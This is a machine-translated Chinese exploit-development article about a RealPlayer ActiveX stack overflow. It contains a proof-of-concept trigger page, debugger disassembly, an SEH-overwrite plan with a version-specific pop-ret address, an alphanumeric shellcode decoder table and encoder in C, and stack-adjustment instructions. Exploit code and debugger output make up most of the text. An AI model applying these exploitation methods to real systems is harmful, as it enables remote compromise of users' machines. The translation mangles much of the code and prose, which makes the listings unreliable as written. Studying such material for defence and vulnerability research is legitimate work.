Text/figure gyzy [Department of Information Security, Jiangsu University & EST]
I do not know when the ActiveX control security problem has become so serious. From anti-virus software to thunder, to storm audio and video players, it is really a wave of waves. Recently, another problem with Real Player ActiveX occurs. Some Web horses have been intercepted on the Internet. There is also the word "YuanGe" in it, the hacker's predecessors. This vulnerability has some special characteristics. When the data in IE is passed to RealPlayer, stack overflow occurs. Therefore, this vulnerability is called "Hitting the bull in the mountains ". However, RealPlayer released a patch within 24 hours. The patch was very fast, but RealPlayer could not be upgraded automatically. A large number of users often installed patches before being exposed, currently, Windows platforms are full of short slabs, and the security situation is not optimistic.
Debugging
Debugging skills are essential for writing Exploit. The POC code is very simple and there are only 10 lines of code. At the beginning, I used OD to append the code to IE, so I could not intercept exceptions. I was depressed for a long time, the original overflow occurred in RealPlayer ...... After the ActiveX control is running, it starts a RealPlayer process for the hidden window, and then it sends the playlist to the hidden window through a WM_COPYDATA message, however, RealPlayer does not verify the data transmitted by ActiveX controls, resulting in stack overflow. The code in POC is as follows.
<Html>
<Script>
Var payload = "";
Real = new ActiveXObject (IERPCtl. IERPCtl.1 );
While (payload. length! = 0x8000)
Payload = payload + unescape (% 90 );
Real. Import ("test. avi", payload, "", false, false );
</Script>
</Html>
Start RealPlayer with OD and run POC, as shown in 1. The lower-left corner is being written to [001300000]. This is a typical stack overflow and is written to adjacent non-writable segments. The idea of exploiting vulnerabilities is also very simple, that is, covering SEH.
Figure 1
Let's take a look at the current SEH chain, as shown in 2. The SEH chain is overwritten by 0x3f3f3f, but what we submit is 0x9090909090. It should have been converted to Unicode, that is, the process from AscII-> Unicode-> ASCII.
Figure 2
62E71901 8B55 fc mov edx, dword ptr ss: [EBP-4]
62E71904 6A 00 PUSH 0
62E71906 6A 00 PUSH 0
62E71908 56 PUSH ESI
62E71909 57 PUSH EDI
62E7190A 6A ff push-1
62e7425c 51 PUSH ECX
62e70000d 6A 00 PUSH 0
62e7366f 52 PUSH EDX
62E71910 C607 00 mov byte ptr ds: [EDI], 0
62E71913 FF15 3C30EA62 call dword ptr ds: [<& KERNEL32.WideCharToMultiByte>]; kernel32.WideCharToMultiByte
This is a piece of code in ierpplug to process the playlist. WideCharToMultiByte makes it more difficult to write Exploit, because we have to use the Shellcode with pure characters, in this way, after ASCII-> Unicode-> ASCII conversion, our Shellcode can still run correctly. In addition, the address that overwrites the SEH chain must also comply with the Unicode encoding rules. Fortunately, the "pop ret" at 0x60093179 exactly meets our requirements. We can overwrite the stack in the form of "NNNNNN [jmp06 jmp04] [0x60093179] [Shellcode]". After executing the "pop ret" command, the EIP will jump into the ShellCode. The address 0x60093179 may change with different versions. I am debugging the Realplayer in the English version of 6.0.14.544. The rest is the ShellCode problem.
ShellCode with only letters and numbers
For the Shellcode of pure letters and numbers, anti-DDoS has been mentioned in previous articles. The general idea is to divide the ShellCode into two parts: the solution pier + The main body. The solution pier consists of instructions with pure characters. The main body is split into two bytes by some algorithm. After obtaining control of the terminal, restore the ShellCode and execute it. Some cool people outside China have already written off-the-shelf solutions and encoding functions. We can use them directly. The following is the solution table.
{"Nops", "iiiiiiiiiiiiiiiiiiii7" mixedcase_ascii_decoder_body },
{"Eax", "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Ecx", "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Edx", "jjjjjjjjjjjjjjjjjjjj7ry" mixedcase_ascii_decoder_body },
{"Ebx", "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Esp", "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Ebp", "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Esi", "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Edi", "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"[Esp-10]", "llllllllllllllllyiiiiiiiqz" mixedcase_ascii_decoder_body },
{"[Esp-C]", "llllllllllllyiiiiiiiiiqz" mixedcase_ascii_decoder_body },
{"[Esp-8]", "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{"[Esp-4]", "LLLL7YIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"[Esp]", "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{"[Esp + 4]", "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"[Esp + 8]", "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{"[Esp + C]", "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"[Esp + 10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{"[Esp + 14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"[Esp + 18]", "yyyyyyyiiiiiiiiiiiiqz" mixedcase_ascii_decoder_body },
{"[Esp + 1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{"Seh", mixedcase_w32sehgetpc "iiiiiiiiiiiiiiii7qz" // ecx code}
If the register points to ShellCode, we can choose the corresponding solution terminal. The following functions can be used for encoding functions.
# Define ascii_decoder "SYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
Char * alphaEncodeShellcode (char * shellcode, int size)
{
Int I, A, B, C, D, E, F;
Char * valid_chars = "0123456789 BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
Char * encShellcode = (char *) malloc (sizeof (ascii_decoder) + (size * 2 ));
Char buff [4];
Int z = 0;
Strcpy (encShellcode, ascii_decoder );
For (; z <size; z ++)
{
A = (shellcode [z] & 0xf0)> 4;
B = (shellcode [z] & 0x0f );
F = B;
I = rand () % strlen (valid_chars );
While (valid_chars [I] & 0x0f )! = F)
{
I = ++ I % strlen (valid_chars );
}
E = valid_chars [I]> 4;
D = 0? (A-E) & 0x0f: (A ^ E );
I = rand () % strlen (valid_chars );
While (valid_chars [I] & 0x0f )! = D)
{
I = ++ I % strlen (valid_chars );
}
C = valid_chars [I]> 4;
Sprintf (buff, "% c", (C <4) + D, (E <4) + F );
Strcat (encShellcode, buff );
}
Return encShellcode;
}
Int main ()
{
Char * alpha = alphaEncodeShellcode (char *) SC, sizeof (SC)-1 );
Printf ("% s", alpha );
_ Asm
{
Xor ecx, ecx
Mov ebx, alpha
Jmp ebx
}
Return 1;
}
In this example, we place a hard breakpoint at 0x60093179, Shift + F9, and break it at 0x60093179. After a few steps, we jump to ShellCode and ESP points to 0012D81C, the EIP points to 0012 EEDC, that is, the location of ShellCode. We can choose TYIIIIIIIIIIIIIIII7QZ as our solution pier, but esp does not point to 0012 EEDC currently. What should we do? The stack is as follows.
0012D818 0012EED4
0012D81C 0012D914
0012D820 0012D8CC
0012D824 0012EED4 pointer to the next SEH record
0012D828 7C9237D8SE Handler
0012D82C 0012EED4
We found that there is a 0012EED4 in the stack, which is very close to our 0012EEDC and has only four bytes. Therefore, we can adjust the esp value to meet our requirements. The command to adjust esp must also be a character. Fortunately, many such commands can be used.
0012EEDC4C L DEC ESP
0012EEDD4C L DEC ESP
0012EEDE4C L DEC ESP
0012EEDF4C L DEC ESP
When 0012EEE05CPOP ESP is executed to this point, ESP is 0012EED4
0012EEE158 pop eaxesp is 0012EED8
0012EEE258XPOP EAXESP is 0012 EEDC
0012EEE358XPOP EAXESP is 0012EEE0
0012EEE458XPOP EAXESP is 0012EEE4
0012EEE558XPOP EAXESP is 0012EEE8
0012EEE644LINC ESPESP is 0012EEE9
The ESPESP value of 0012EEE74CDDEC is 0012EEE8.